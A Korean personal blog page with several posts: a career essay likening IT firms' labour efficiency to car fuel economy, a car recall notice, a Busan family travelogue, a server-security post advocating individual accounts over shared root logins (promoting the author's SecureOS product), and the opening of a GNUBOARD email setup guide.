기업에도 연비가 있다.

Posted by taeho Tae-Ho
2016.02.29 12:09 나의 생각

제가 블로그에 포스팅하는 글들 때문인지 이따금씩 IT업종과 보안업종에 취업을 희망하는 젊은 후배들의 질문을 받는 경우가 있습니다. 그리고 어떤 회사를...어떤 직종을 선택하는 것이 좋을지를 쪽지나 이메일로 물어오기도 합니다. 하지만 제가 여러 기업을 경험하지도 못했고 아는 지식도 짧은지라 만족할만한 답을 드리기는 참 어렵습니다.


하지만 제가 경험한 기업들을을 토대로 구직활동에 도움이 되고자하는 마음으로 구직자 입장에서 "기업의 연비"를 평가할 수 있는 기준을 제시하고자 합니다.


저는 대학과 군복무를 마친 뒤 IT 분야에서 2개의 기업을 경험하였고 벌써 20여년이 흘러가고 있습니다. 짧게 1년 이하로 근무한 경험까지 포함한다면 직장생활의 쓴맛을 처음으로 느끼게 해준 신도리코를 포함해 세개의 기업을 거쳤습니다. (신도리코는 딱~~1년..!!) 그리고 이후 근무한 두개의 기업은 모두 코스닥에 상장되는 모습을 지켜봤죠.


그러면서 느낀 점 중 하나는 "자동차의 주행 때 연비가 변하듯 IT 기업의 라이프사이클에도 연비가 있다."라는 점입니다. 그리고 그 IT 기업의 연비는 자동차의 연비보다 훨씬 더 중요합니다. 인생의 방향을 좌지우지할 수 있으니까요. 그래서 취업을 하려는 구직자 입장에서도 입사지원을 하고자하는 IT 기업의 연비를 잘 고려해야 취업 후 순탄한 직장생활과 커리어를 쌓는데 유리하다고 생각됩니다.


자동차의 연비

요즘은 자동차에 IT기술이 적용되면서 트립컴퓨터라는 작은 컴퓨터가 장착되어 있으면서 주행 중 순간연비와 평균연비를 보여주는 기능이 있습니다.



"연비"란 연료 1리터 혹은 1갤런으로 주행할 수 있는 거리를 의미합니다. 즉 "연비가 좋다"라는 의미는 적은 연료로 먼 거리를 주행할 수 있다는 것을 뜻합니다. 


그렇다면 IT 기업의 무엇이 자동차의 연비에 해당될까요?


기업의 연비

IT 기업에서 자동차의 연료에 해당되는 것은 바로 근로자의 "노동력"입니다.


기업은 근로자의 노동력을 연료로하여 재화를 생산해내고 판매하여 이익을 내는 하나의 자동차와 같습니다. 그리고 기업은 근로문화나 업무프로세스, 의사결정의 효율성 개선을 통해 같은 양의 노동력을 투입하여 훨씬 좋은 연비를 낼 수 있도록 끊임없이 노력해야 합니다. 이는 자동차의 운전자가 얼마나 교통소통이 원활하고 단거리이며 가다서다를 적게할 수 있는 도로를 선택하여 목적지까지 주행하느냐에 따라 연료 소비량이 달라진다는 점에서도 자동차와 비교될 수 있습니다. 하지만 자동차에도 연비가 나쁠 수 밖에 없는 차들이 있습니다. 덩치가 크고 무겁고 엔진자체가 연료를 많이 소비하는 차들이죠. 기업에도 그런 기업들이 있습니다. 자동차를 구매할 때 차의 연비를 따지듯 구직자 입장에서는 기업에 입사지원을 할 때 기업의 연비 또한 신중하게 고려하여야 합니다.


IT분야의 많은 기업들이 시장의 상황에 따라 매출의 상승과 하락을 반복하고 있으며 그 안에서 근무하는 수많은 개발자와 엔지니어들이 프로젝트를 적은 비용, 짧은 기간에 수행하느라 몸과 마음에 상처를 입는 다는 것에 해당 업종 종사자라면 모두 공감할 겁니다. 하지만 이런 기업에서 얻을 수 있는 것도 많습니다. 다양한 시스템의 구축과 개발 과정에 참여하여 기술적인 스킬을 높일 수 있으며 요구분석, 설계, 개발, 구현 등의 단계를 경험하며 프로젝트 수행 전반의 흐름을 체득할 수 있습니다. 또한 프로젝트에 사용되는 다양한 소프트웨어, 하드웨어, 네트워크, 데이터베이스 등의 기술도 습득할 수 있습니다.


이런 프로젝트들을 수행하며 IT 기업들은 인력장사를 하는 경우가 많습니다. 예전엔 IT 개발자나 엔지니어가 부족하여 몸값이 비싼 경우가 많았지만 업체들 간의 가격경쟁이 심해지면서 사업원가를 제외하고 남는 이익이 5~10% 수준인 경우가 대부분입니다. 말그대로 적자 아니면 다행인 경우가 많은거죠.


당연히 이런 IT 기업들은 연비가 좋을 수 없습니다. 


그나마 연비가 좋은 기업들은 자체 솔루션을 개발하여 판매하는 기업들 중에서도 HW보다는 SW를 개발해 판매하는 기업들이고 SI/NI 기업들 보다는 훨씬 연비가 좋습니다. 자체 SW 솔루션을 개발하여 판매하는 기업들은 직원수가 많지 않고 회사의 규모가 작더라도 안정적인 수익을 내며 비교적 롱런할 수 있는 근무환경을 가진 곳이 많습니다. (모두 그런건 절대 아닙니다.) 하지만 SW 솔루션 기업에서의 근무는 SI/NI 기업들보다 폭넓은 경험과 커리어를 쌓기에는 불리한 경우가 많습니다. 대부분의 기술적 지식이 제품에 편중된 경우가 많기 때문인데 개발자나 엔지니어 스스로 노력하여 다양한 공부를 하지 않으면 기술력을 높이기는 어려운 경우가 많습니다. 제가 근무한 직장과 현재 재직중인 직장이 그런 곳인데.. 많은 엔지니어들과 개발자들이 공부를 게을리하는 경우가 많아 안타깝습니다.


솔루션 기업의 연비 변화

자체 솔루션을 개발하여 판매한다 하더라도 IT 기업들의 연비는 기업의 라이프사이클에 따라 달라집니다. 벤처 형태의 스타트업 기업인 경우 투입 인력(비용) 대비 이익률이 초기에는 매우 떨어집니다. 제품의 기능성과 완성도가 떨어져 개발공수가 매우 많이 투입되기 때문이죠. 유지보수 등의 기술지원에 대한 원가 비중도 매우 높을 수 밖에 없습니다. (하지만 수익이 낮아 정당한 임금을 지불하지 않는 경우가 대부분이죠.. ^^)


이렇게 초기 단계의 저연비를 내는 기업에서 일하기는 매우 힘듭니다. 개발자나 엔지니어나 모두 야근을 밥먹듯 하고 고객에게는 매일 욕지거리를 듣는 경우도 비일비재합니다. 참 힘들죠. 개발자는 고객의 요구사항을 충족하는 기능을 개발하느라 밤샘을 하고 엔지니어와 영업대표는 문제가 발생하거나 기능이 부족해 고객사에 불려들어가 욕을먹고 밤샘 업무를 수행하기 바쁩니다. 때로는 비인격적인 갑질에 엄청난 스트레스와 인간적인 모멸감을 느끼는 경우도 다반사입니다. 기업의 저연비는 결국 그 기업에서 일하는 직원들에게 과도한 근로강도로 나타나게 됩니다.


이런 초기의 스타트업 벤처는 이런 직원들에게 과도한 근로강도를 요구하는 기간을 얼마나 짧게 단축하느냐가 매우 중요합니다. 자칫 영영 헤어나지 못하는 경우도 종종 보게됩니다. 많은 벤처기업들이 다음단계인 안정화 단계로 접어들지 못하고 이 초기단계에서 헤매이다 잦은 인력 이탈과 조직간의 불화로 인해 더 이상 성장하지 못하는 경우가 많습니다. 어떤 제품들이 초반에 히트를 치다 어느샌가 시장에서 자취를 감추는 경우가 대부분 이런 경우라 할 수 있습니다.


반대로 어느정도 제품의 기능이나 성능 그리고 안정성이 확보되고 업무프로세스와 제품의 영업/사업수행(기술지원)/피드백(개발요구)에 대한 사이클에 요구되는 커뮤니케이션 시스템을 갖추게 되면 그 때부터는 매우 빠른 속도로 연비가 좋아집니다. 직원들의 근무시간도 9 to 6를 지킬 수 있는 경우가 많아지고 영업활동이나 기술지원 및 사업 수행도 수월해집니다. 게다가 수익성이 좋아지면 직원들이 연봉도 빠른 속도로 높여줄 수 있습니다. 즉 적은 노동력의 투입으로 높은 수익을 얻을 수 있게 되는거죠. 이쯤되면 경쟁업체와의 가격경쟁으로 인해 솔루션의 단가가 떨어져도 적절한 수준의 수익성을 확보할 수 있게됩니다.


이런 안정적인 수준에 이른 솔루션 기업들은 대체로 스타트업 기업들 중 10% 정도가 되지 않을까 생각됩니다. 그리 많지 않은게 현실이죠. 대부분은 초기단계에서 시장을 제대로 확보하지 못하거나 제품의 기능/성능/안정성이 확보되지 못해 사장되다시피 하는 경우가 대부분이라고 보여집니다. 제가 근무한 두개의 벤처는 운이 좋았는지 4~5년 내에 모두 이 수준에 이르렀습니다. 그리고 코스닥 상장도 이루었죠.


만약 취업을 위해 자체 솔루션을 보유한 회사에 입사지원을 한다면 과연 그 회사의 솔루션이 시장에서 성공을 거둘 수 있는지..그리고 현재 그 기업의 솔루션이 어느 수준에 있는지를 신중히 살펴봐야 합니다.  만약 초기 스타트업 수준의 수준이라면 입사 후 매우 힘든 업무환경에서 일을 해야 합니다. 반면 실패 가능성도 높아 자칫 커리어를 쌓는데 도움이 되지 않을 수도 있다는 점을 고려하여야 합니다. 하지만 개발한 솔루션이 일단 시장에서 성공을 거둘 경우 얻을 수 있는 것도 매우 많습니다. 코스닥 상장을 통해 직원들도 적은 투자금으로 많게는 수십배, 적게는 세네배의 수익을 거둘 수 있고 커리어 또한 쌓을 수 있습니다.


과연 구직자가 기업의 연비를 어떻게 알 수 있는가?

이제 갓 학업을 마치고 직업을 찾는 구직자가 입사지원을 하려는 기업의 비젼이나 상태를 알 수 있을까라는 질문에 전 "알 수 없다."고 말해주고 싶습니다. 다만, 구글링이나 기업의 제품, 업종, 소문 등을 통해 미루어 짐작할 뿐이죠. 중요한 것은 입사 후 본인의 노력과 통찰력입니다. 하나라도 더 배우려는 노력과 수개월 내에 자신이 입사한 기업에 대해 성공 가능성의 여부를 냉정하게 판단하여야 합니다. 기업이나 조직은 외부에서 바라보는 것과 조직으로 들어가 내부에서 경험한 것이 매우 다릅니다. 때문에 일단 외부에서 긍정적으로 판단하고 입사하였다 하더라도 직접 조직내에서 일을 해보면 너무도 부정적인 경우가 많습니다. 때문에 입사한 회사에 계속 재직할 것인지 아니면 새로운 비젼이 있는 기업을 찾아 이직할 것인지를 수개월 내에 판단하여야 하는 것이죠.


업종 선택시에도 마찬가지 입니다. 겉으로 볼 때는 멋있어 보이고 매우 고급스런 업무로 보이지만 어떤 업무 든 직접 수행하게 되면 단순 반복작업도 많고 잡다한 문서의 작성 등 허드렛일 쯤으로 치부하던 일도 많이 수행해야 하는 경우가 많습니다. 더군다나 조직의 막내는 더욱 그러하죠.


그래서 중요한 것은 더욱 "스스로 세우는 비젼 그리고 끊임없는 노력" 입니다. 비젼과 실력은 다른 사람이 세워주고 쌓아주지 않습니다.


신고
이 댓글을 비밀 댓글로

기아자동차 리콜안내문을 받다.

Posted by taeho Tae-Ho
2016.02.26 14:23 기타 등등

자동차 기술 선진국인 유럽이나 미국에서는 일반화되어 있다는 리콜제도.

하지만 20년 넘는 자동차 운전을 하면서 리콜을 받아본 적은 한번도 없습니다. 그런데 어제 야근을 마치고 집에 갔더니 자동차 리콜 안내문이 도착해 있었습니다.


제 차는 이제 6년차에 접어든 기아자동차의 포르테 GDI... 말도 많고 탈도 많은 차죠. 그래도 엔진오일교환, 흡기청소, 타이어교체, 미션오일교환 등에 신경을 써준 덕분인지 큰 문제 없이 타고 있고 이제 10만km를 돌파했습니다.


포르테GDI 관련 포스트 보기


그런데...리콜이라니...

무슨 결함인지 궁금했습니다.


변속기 오일쿨러 호스의 불량이라...

포르테에도 변속기 오일쿨러가 달려있었네요. 예전에 듣기론 미션오일쿨러는 고급차에만 달려있다고 했었는데 말입니다. 어찌됐든 비교적 중대한 결함이 될 수 있기에 리콜이 되는것이겠죠..


그런데.. 6년이 지난 지금에야 리콜이 시행되는 이유는 뭘까요.


우리나라에서 판매되는 국산 및 수입자동차에 대한 리콜정보는 다음 웹사이트에서 확인할 수 있습니다.


자동차리콜센터 웹사이트 가기

신고
이 댓글을 비밀 댓글로

부산여행 (달맞이고개/해동용궁사/해운대시장/태종대 - 1박2일)

Posted by taeho Tae-Ho
2016.02.13 00:42 나의 여행/사진

이런~저런~ 이유로 꽤나 오랫동안 가족여행을 떠나지 못했었다. 


내가 벌여놓은 이런 저런 일들..

그리고 때마침 이어진 옆지기의 바쁜 날들...

게다가 이제 머리가 조금 굵어졌는지 

나와 옆지기의 여행스타일인 이리저리 돌아다니는 여행이 체력적으로 힘들다는 걸 깨달은(?) 두 아이들의 싫어하는 기색..!!

하지만 이번 설 연휴와 주말에 끼여있는 이틀을 이용해 그렇게 갑작스레 떠났다.


기차표와 숙소...그리고 렌트카 예약

이런일은 온전히 내 몫이다. 


다행스럽게도 KTX는 상하행 모두 자리가 있어서 코레일 웹사이트에서 예약을 했고... 

숙소는 예전부터 국내외 여행시 숙소 예약을 위해 이용해온 아고다 웹사이트에서 예약을 했다. 

또한 렌트카도 오래전부터 이용해와서 꽤나 높은 할인 등급을 유지하고 있는 AJ렌터카 웹사이트에서 예약을 마쳤다.


여행의 시작

오전 8시 조금 넘은 시간...광명역에 주차를 해놓고 KTX에 온가족이 올라탔다. 그리고 2시간30분의 기차여행끝에 부산역에 도착..바로 AJ렌터카 부산역 지점에서 찜해놓은 올뉴소렌토를 인수하였다.


달맞이 고개 (다음지도보기)


첫 행선지인 달맞이 고개로 광안대교에 올라 달린다.

광안대교는 부산의 중심지를 벗어나 해운대로 우회하는 바다에 세워진 거대한 다리다. 달리는 내내 부산시내와 바다를 양쪽으로 조망할 수 있는 멋진 드라이브 코스다.



달맞이 고개는 7~8년전에 가본적이 있다. 하지만 그때와는 달리 도로 주변에 카페를 비롯해 다양한 예쁜 건물들이 줄지어 들어서 있었다.



일단 아침일찍 출발하느라 간식거리만 먹은 주린 배를 달래고자 면식가라는 면 및 볶음밥 전문점에서 점심을 먹었다. 워낙 좌석이 적은지라 줄서서 차례를 기다려야 했다. 그런데 서울에서 출발할 땐 추웠던 날씨가 부산에 도착하니 완연한 봄을 느낄 수 있을만큼 따뜻했다. 기다림에 있어 추위를 느끼지 않을만큼...

 


달맞이 고개 정상에 있는 해월정..



해월정에서 바라본 남해바다.. 부산 앞바다다..



해동용궁사 (다음지도보기)

용궁사는 부산광역시 기장군에 있다. 달맞이 고개에서 20분도 채 안걸리는 거리에 있으며 우리나라에 세곳이 있다는 바다에 위치한 해안사찰이다.


용궁사 입구에 있는 표지석..



입구에서 바라본 용궁사



사찰의 가장 높은 곳에서 바라본 용궁사 전경.



용궁사는 주말엔 꽤나 사람이 많으니 가급적 평일에 방문하는 것이 좋고.. 주말코스로 여행을 왔다면 가급적 오전에 일찍 들러 구경하고 빠져나가는 것이 좋겠다.


그리고 아이들을 동반했다면 바로 위 사진의 멀리 보이는 적벽돌 건물인 국립수산과학원의 전시관을 둘러보는 것도 나쁘지 않다. 단, 초등학교 저학년 정도에게만 추천하겠다. 그 이유는 생략..!! 입장료도 무료다.


더마크호텔(호텔위치보기)

우리가 1박을 한 숙소는 "더 마크호텔 해운대"다. 아고다 웹사이트에서 예약을 했으며 스위트룸 1박(2인조식 포함)에 엑스트라베드 1개를 추가해 4명이 잤다. 스위트룸이래야 드레스룸이 딸린 방과 거실 겸 주방이 있는 오피스텔 스타일의 방이다. 그리고 2인 조식을 추가했으며 모두 13만원가량 지불했다. 호텔이 있는 푸르지오시티 건물엔 2개의 호텔이 있었다. (주의..!!) 원래 오피스텔 건물인듯 한데 워낙 해운대 바닷가에 인접한지라 호텔로 활용하고 있는 듯 하다. 주차는 그냥 푸르지오시티 건물 지하에 세우면 된다. 지하7층까지 주차장이 완비되어 있어 주차걱정은 하지 않아도 될 듯..!!



우리가 1박을 한 스위트룸에서 보이는 해운대 앞바다. 조금 보인다. 그리고 2년쯤 뒤엔 그마저도 보이지 않을 듯. 사진에서 보듯 포스코건설에서 커다란 빌딩을 올리고 있다.



스위트룸엔 주방이 있다. 다만 가스렌지나 인덕션이 필요하면 예약시 따로 요청해야 한다. 따로 요청하지 않았더니 가스렌지도..인덕션도 없었다. 그냥 싱크대와 2인식기, 전자렌지, 대형 냉장고, 커피포트 정도만 구비되어 있었다.


큰 딸아이는 공부하고... 둘째녀석은 가져간 노튼북으로 게임삼매경..!!



야경사진.. 앞이 공사판이라 매우 안타까웠다.



해운대해수욕장

해운대해수욕장은 따로 설명이 필요없을 듯 하다. 더마크호텔해운대에서 도보로 2~3분이면 닿을 수 있는 곳이 해운대해수욕장이다.


아래사진은 해변에서 바라본 동쪽이다. 절묘하게 날아가는 갈매기를 함께 찍었다.



같은 자리에서 바라본 서쪽이다.



해운대 해변엔 항상 갈매기가 있는 듯 하다. 

이놈들은 야생이라 그런지 항상 일정거리를 유지하는 경계심을 갖고 있다. 가까이하기 참 힘든 놈들이다.




날아가는 갈매기... 예전에 찍었던 도야호의 갈매기가 생각난다. (도야호 갈매기의 비상 보러가기)



해운대 전통시장 (다음지도 보러가기)

예전의 여행에선 찾아볼 수 없는 코스다. 내가 전통시장을 여행코스에 넣다니.. -.- 아이들과의 여행이 아니었다면 코스의 한자리를 차지하긴 힘든...그런 곳이다. 


하지만 아이들과 함께 했기에... 일다 숙소에 들어가니 저녁을 맛난거 사준다고 꼬셔도 그냥 사다 먹자고 하는 아이들로 인해 해운대 시장에 먹을거리를 사러 나가야 했다. 웃어야 하나 말아야 하나..하하하..


해운대 전통시장은 더마크해운대 호텔에서 걸어서 5분이면 갈 수 있다. 



잘 정비된 시장 골목..점점 어두워진다.



그 시장골목에서 가장 유명하다는 상국이네 김밥... 그냥 분식점이다. 3층까지 테이블이 있다.



줄서서 튀김과 떡볶이, 김밥 등을 주문하는 사람들..



결국 떡볶이, 김밥, 오뎅을 상국이네 김밥집에서 테이크아웃으로 사오고 입구에 있는 닭강정집에서 컵으로 사왔다. 그리고 편의점 도시락과 사발면 하나는 뽀나스로.. ^^


나가기 싫어하는 아이들 덕분에 가볍게 저녁식사를 해결했다.



참고로..김밥의 맛은...

그냥 집에서 옆지기가 만들어주는 김밥이... 열배는 맛있다. 그냥 일반 분식집 김밥보다 조금 더 맛있는 정도.  요즘 유행하는 TV 프로의 환호는 모두 뻥이다.


태종대 (다음지도 보러가기)

태종대는 삼국을 통일을 거의 완수한 태종무열왕이 들러 놀았던 곳이라 하여 태종대라 불린다는 설이 있다. 태종대는 입구에서부터 약 4km 정도의 일주도로가 있지만 차량진입은 금지되어 있다. 대신 태종대 전망대와 등대까지 쉽게 올라갈 수 있도록 다누비라는 관광열차가 15분에서 20분 간격으로 주간에만 운행하고 있다. 입구에서 100여미터만 걸어올라가면 매표소와 승하차장이 있다.



다누비 순환열차 운행안내판.



승하차장으로 들어오는 다누비 순환열차



다누비 열차를 이용하는 승객이 너무 많기 때문에 승차권(왕복권)을 구입한 뒤 조금 기다려야 할 수도 있다. 우리도 20분 정도 기다린 뒤에야 탑승할 수 있었다.



다누비 순환열차를 타고 전망대에서 내리면 아래 사진같은 전망대가 자리잡고 있다. 이 자리가 바로 옛날에 유명하던 태종대 자살바위 자리였다고 한다. 전망대에선 그냥 바다를 조망하기 좋다. 



그리고 전망대 난간 아래로 이런 풍경을 볼 수 있다.

아찔한 높이다.



유람선... 저 유람선은 태종대 관광지 입구에서 호객행위를 하는 아저씨를 따라가면 탈 수 있다. 



저 멀리 수평선위에 희미하게 보이는 대마도. 날이 조금더 맑았다면 선명하게 볼 수 있었는데 조금 아쉽다.



사실 이 전망대는 시작에 불과하다. 다누비 순환열차의 다음 정거장은 등대다. 등대까지는 전망대에서 200m에 불과하기 때문에 전망대를 둘러보고 슬슬~걸어가 등대로 내려가는 길을 따라가면 본격적인 태종대의 절경을 감상할 수 있다.


등대로 내려가는 길...



계속 내려가다 보면 등대가 보인다.



등대를 지나 아래에 보이는 레이더를 지나 우리가 최종목적지로 삼은 태종대 신선바위도 보인다. 저기까지 내려가야 한다.



어느새 등대가 서있는 절벽 아래로 내려왔다.



드디어 목적지인 태종대 신선 바위까지 내려왔다. 더 이상 내려갈 곳이 없다. 이젠 해안절벽이다. 한발만 더가면 절벽으로 추락..!!



이런 위험천만한 사진도 찍으려는 패기의 청년들도 있다. 진짜 절벽에 걸터앉아 사진을 찍더구만...



이정도는 애교다. 유람선을 찍는데... 같이 찍혔다. 나중에 보니 중국 처자였던... 쏼라~쏼라~



이제 다시 전망대 정류장까지 올라가야 함. 

둘째녀석이 어찌나 투덜거리던지.. ㅋㅋ 


태종대를 끝으로 1박2일의 짧았던 부산 여행을 마치고 마지막으로 태종대 불백집에서 늦은 점심을 해결하고 부산역으로 간 뒤 렌트카를 반납했다. 그리고 6시쯤 KTX를 타고 광명역으로 고고싱..!!


신고
이 댓글을 비밀 댓글로

root 와 Administrator 그리고 Information Security

Posted by taeho Tae-Ho
2016.02.05 16:12 정보보호

요즘 심심치 않게 ISMS인증 또는 PCI/DSS 인증 등 여러 정보보안 관련 인증심사에 대비하는 기업이나 기관으로 부터 RedCastle SecureOS와 AuthCastle 등의 제품소개를 요청받는 경우가 있습니다.  왜냐하면 ISMS 등 심사에서 인증기준으로 삼는 수 많은 통제항목 중 "서버"에 관련된 심사항목은 많을 수 밖에 없고 운영체제의 보안설정이나 취약점제거 만으로는 해당 통제항목의 요구사항을 충족하기 어려울 뿐만아니라 통합관리가 어렵기 때문입니다.


서버에 대한 접근통제, 중요 감사로그 파일에 대한 위변조 차단, 소스파일에 대한 보호, 서버의 패스워드 통제 그리고 중요한 암호화키 및 중요 데이터가 저장된 파일에 대한 읽기/수정/삭제 통제와 무결성 보장 등 다수의 서버에 대한 정보보호 수준을 높이기 위한 활동은 무척 어려운 사안일 수 밖에 없습니다. 


하지만 그러한 서버의 보안수준을 높이기 위해 무엇보다 먼저 시행해야 하는 것은 서버에 접속하는 개발자 및 관리자들에 대한 1인1계정 부여입니다. 즉, 내부통제 강화죠.

무시되는 Unix/Linux 서버에서의 1인 1계정

Unix/Linux 서버는 기본적으로 다중사용자를 지원하는 서버 운영체제입니다. 그래서 서버의 운영자가 웬만큼 많지 않고서는 서버의 보안강화를 위한 "1인1계정" 원칙을 지켜 서버에 로그인 해야하는 개발자와 운영자에게 각각 개인 계정을 발급해도 전혀 문제가 되지 않습니다.



하지만 실제 서버의 운용 상황은 그렇지 않습니다. 실제 수많은 기업이나 금융기관 혹은 공공기관에서 운용하는 서버에 접속해 보면 root와 같은 서버 운영체제의 수퍼유저 계정과 oracle, jeus 등 별도의 계정이 필요한 시스템SW와 데이터베이스 관리자 계정 이외의 개발자나 서버운영자의 개인계정은 찾아보기 힘듭니다.


실제로 하나의 서버에 Telnet, SSH 등을 통해 접속하는 개발자나 운영자는 적게는 두세명에서 많게는 10여명이 넘기도 합니다. 여러사람이 root, oracle, jeus 등의 매우 크리티컬한 계정으로 직접 로그인하여 권한의 분리를 수행하지 않는게 현실입니다. 그리고 이러한 행위를 "통제"하거나 "제한"할 만한 서버 운영체제에 대한 보안적 지식을 갖고 있는 사람이 없는 것 또한 현실입니다. 조직의 보안관리자나 경영진은 서버 운영체제에 대한 지식이 부족한 경우가 태반이기 때문에 서버의 운영조직에서 "그렇게 해야한다"고 하면 "OK"하는 경우가 대부분입니다.


하지만 보안 관점에서 다수의 개발자나 운영자가 공용계정으로 직접 로그인하는 것은 매우 큰 위협요인 입니다.


사고가 발생해도 누가 언제 서버에 로그인하여 사고의 원인이 되는 작업을 수행했는지 실제 작업자를 식별할 수 없습니다. 그리고 사고를 인지하는 것은 사고의 원인이 된 행위가 발생한지 오랜 시간이 지난 뒤인 경우가 많기 때문에 이미 꽤 긴 시간이 흘러 실제 누가 로그인했는지 확인하기 어려운 경우가 대부분입니다. 특히 개인정보의 유출과 같은 사고는 더욱 그러합니다.


그럼에도 불구하고 서버에 계정이 많으면 "시스템이 느려진다", "작업이 너무 어렵다", "서비스 운영이 안된다", "계정 관리가 어렵다" 등 설득력 부족한 이유를 들어 모든 개발자나 운영자의 root  또는 oracle 계정의 직접 접속을 고집하는 경우가 많습니다.


(Windows서버는 구조적으로 더 큰 문제를 안고 있습니다. 보안이 조금이라도 중요한 서비스를 Windows 서버에 구현하는 것은 솔직히 보안 관점에서 권하고 싶지 않습니다.)


1인 1계정의 장점

Unix나 Linux 서버에서 서버 운영자, 개발자의 개인계정을 생성하여 운영하는 것은 정보보안 측면 뿐만아니라 시스템의 효율적이고 안정적인 운영에 큰 도움이 됩니다. 


먼저 서버의 보안이 강화됩니다.


서버 개발자나 운영자가 개인계정으로 접속하여 su 명령을 통해 한번 더 root 비밀번호를 입력해야 하므로 2단계의 인증을 거치게 됩니다. 또한 root 계정으로의 직접 접속을 원천적으로 차단할 수 있기 때문에 보안성은 높아집니다. 그래서 서버 운영체제에서도 기본적으로 root 계정으로의 접속을 차단하는 기능을 제공하는 것입니다. 


그리고 sudo 명령의 사용은 권장되지 않습니다. 흔히 개인계정으로 접속한 뒤 sudo - 명령으로 root 권한으로 넘어가게 하는 경우가 있는데... 세부적인 명령어 통제까지 수행하지 않으면 오히려 보안성이 낮아지는 부작용이 생깁니다.


그리고 1인 1계정을 사용하면 책임추적성을 확보할 수 있습니다. 


서버 운영체제는 각 계정으로 접속하는 시점에 누가 어느 IP에서 접속했고 언제 접속을 끊었는지에 대한 기록을 남깁니다. 그런데 모든 접속이 root, oracle 등으로 남게 되면 실제 해당 세션이 누가 접속한 것인지 확인이 불가능합니다. 하지만 1인 1계정 원칙을 지키면 실제 접속자가 누구인지를 오랜시간이 지난 뒤에도 추적할 수 있게 됩니다. 게다가 누가 언제 su 명령을 통해 root 계정으로 전환했는지 실제 사용자를 시간이 지난 뒤에도 확인할 수 있습니다.


또한 서버의 파일시스템 정리가 용이해지고 깨끗해집니다.


서버에 파일을 업로드 할 때 root 계정으로 파일을 업로드하면 업로드 된 파일들이 여기저기 흩어져 남게 됩니다. 임시 디렉토리도 root 계정으로 생성되고 삭제되지 않은채 남게 되는 경우가 많습니다. 그리고 시간이 흐르면 그 파일들이 서비스 운영에 필요한 파일인지 식별하기 어렵습니다. 하지만 1인1계정 원칙을 지키면 작업을 위해 최초로 업로드하는 파일은 개인의 홈디렉토리에 업로드됩니다. 그리고 압축을 풀고 준비과정을 거친 뒤 root 계정이나 SW 관리자 계정으로 넘어가 시스템에 적용됩니다. (물론 작업 과정은 한두과정을 더 거치게 됩니다만 그리 긴 시간이 더 걸리지는 않습니다.)

때문에 작업 후에도 개인계정의 소유자로 생성된 파일들은 서비스에 관련되지 않은 파일이기 때문에 삭제해도 서비스 운영에 문제가 없습니다. 당연히 서버는 깨끗해지는 효과를 얻을 수 있습니다.


공용계정 (root, oracle 등)의 치명적인 단점 - Super User 계정이라는 것..!!

root 계정은 Super User 계정입니다. oracle과 같은 어플리케이션 관리자 계정은 해당 어플리케이션의 Super User 계정입니다. Super User 계정은 서버 내에서는 전지전능한 계정입니다. 다른 계정으로 비밀번호 없이도 이동이 가능하고 root에서 접근을 차단해 둔 파일에도 차단을 해제하고 접근할 수 있습니다. 심지어 보안 정책으로 규정한 비밀번호 복잡성 규칙마저도 무시할 수 있는 전지전능한 계정입니다.


이렇듯 서버 운영체제와 서버에 설치된 수 많은 애플리케이션 그리고 데이터베이스 입장에서 root 계정과 oracle 등의 계정은 "전지전능"의 능력을 가진 계정입니다. 때문에 root 계정이나 데이터베이스 관리자 계정인 oracle과 같은 계정을 별다른 통제 없이 여러 사람이 무차별적으로 사용하는 것은 생선을 고양이 여러마리에게 지키도록 한 것과 같습니다. 말 잘듣는 착한 고양이가 배가 부를 때는 문제가 없지만 배가 고픈 상태가 되면 언제 생선을 먹어치워도 전혀 이상한 일이 아닙니다. root 비밀번호를 알고 직접 접속할 수 있는 사용자가 악의적 목적을 갖는 범죄자로 변신하는 것 또한 전혀 이상한 일이 아닙니다 사람이 나쁜게 아니라 사람이 나쁘게 변할 수 있도록 방치하는 것 또한 "방관"의 범죄를 저지르는 것 일 수 있습니다.


보호대책

사실 이러한 취약성과 위협에 대응할 수 있는 솔루션은 SecureOS가 유일합니다. 일부 응용단에서 키보드 입력을 가로채 명령어 통제와 행위 감사를 수행하는 솔루션이나 네트워크 수준에서 동작하는 게이트웨이 방식의 솔루션이 있지만 그 기술적 수준이 낮기 때문에 얼마든지 우회가 가능합니다. 심지어 그런 홀(hole)이 있기 때문에 도입하여 사용하고 있다는 웃지못할 이야기까지도 들리죠. (엔지니어들은 우회방법을 알기 때문에 불편함 없이 서버에 접속하여 작업할 수 있다는 이야기... -.-) 


보안그룹과 등급에 따른 계정 이동(SU) 통제 정책을 수립하고 root 계정에서도 해제할 수 없는 비밀번호 규칙 설정과 중요 파일에 대한 무결성 보장 및 명령어 실행 통제를 수행하면 됩니다. 또한 응용 수준에서의 행위감사 추적과 커널 수준에서의 행위 추적 그리고 서버 접근통제 및 파일 위변조 통제 기능 등을 통해 보안을 강화할 수 있습니다.


다른 여러 보안 솔루션을 통해 서버의 보안을 강화하려는 기업이나 기관이 많지만 SecureOS를 도입하여 사용하는 것이 서버를 운용하는 조지에서 선택할 수 있는 가장 현명한 보호대책이 아닐까 생각됩니다.

신고
이 댓글을 비밀 댓글로
  1. 1인 1계정도 요즘은 자리잡고는 있는데 옛사람이라 그런지 아직도 계정을 같이 쓰던 시절이 편했던것 같습니다.
    그래도 과거와는 비교도 안되게 보안이 중요해진 시대이니 잘 지켜야 겠지요 ^^
    새해 복 많이 받으시고 즐거운 명절 되세요~
    • 감사합니다~ 지후대디님도 가족과 함께 즐거운 설연휴 보내셨기를 바랍니다~

그누보드 5의 이메일 기능 사용하기

Posted by taeho Tae-Ho
2016.01.20 13:00 Web/DB/Dev

게시판을 모아둔 웹사이트를 구축할 때 많이 사용되는 무료게시판 중에 그누보드(GNUBOARD)라는 게시판 솔루션이 있습니다. 저도 애용하는 게시판 소스 중 하나인데요. 이 그누보드는 메일발송 기능까지 포함고 있습니다. 내부적으로는 PHPMailer라는 메일발송 라이브러리를 연동하여 제공하는 기능이죠.


그누보드의 이메일 사용 설정


이 그누보드의 메일발송기능은 다음과 같이 그누보드의 관리자 페이지에서 설정할 수 있습니다.




위 설정화면에서 처럼 회원가입한 사람이 있으면 등급설정을 위해 관리자에게 회원가입 신청이 있음을 알려주는 설정을 비롯해 글쓴이에게 댓글이 작성되었음을 알려주는 등 다양한 용도로 메일 발송기능을 사용할 수 있습니다.


하지만 위 화면에서 메일 발송 기능을 사용하도록 설정한다고 하여 바로 메일이 발송되는 것은 아닙니다.


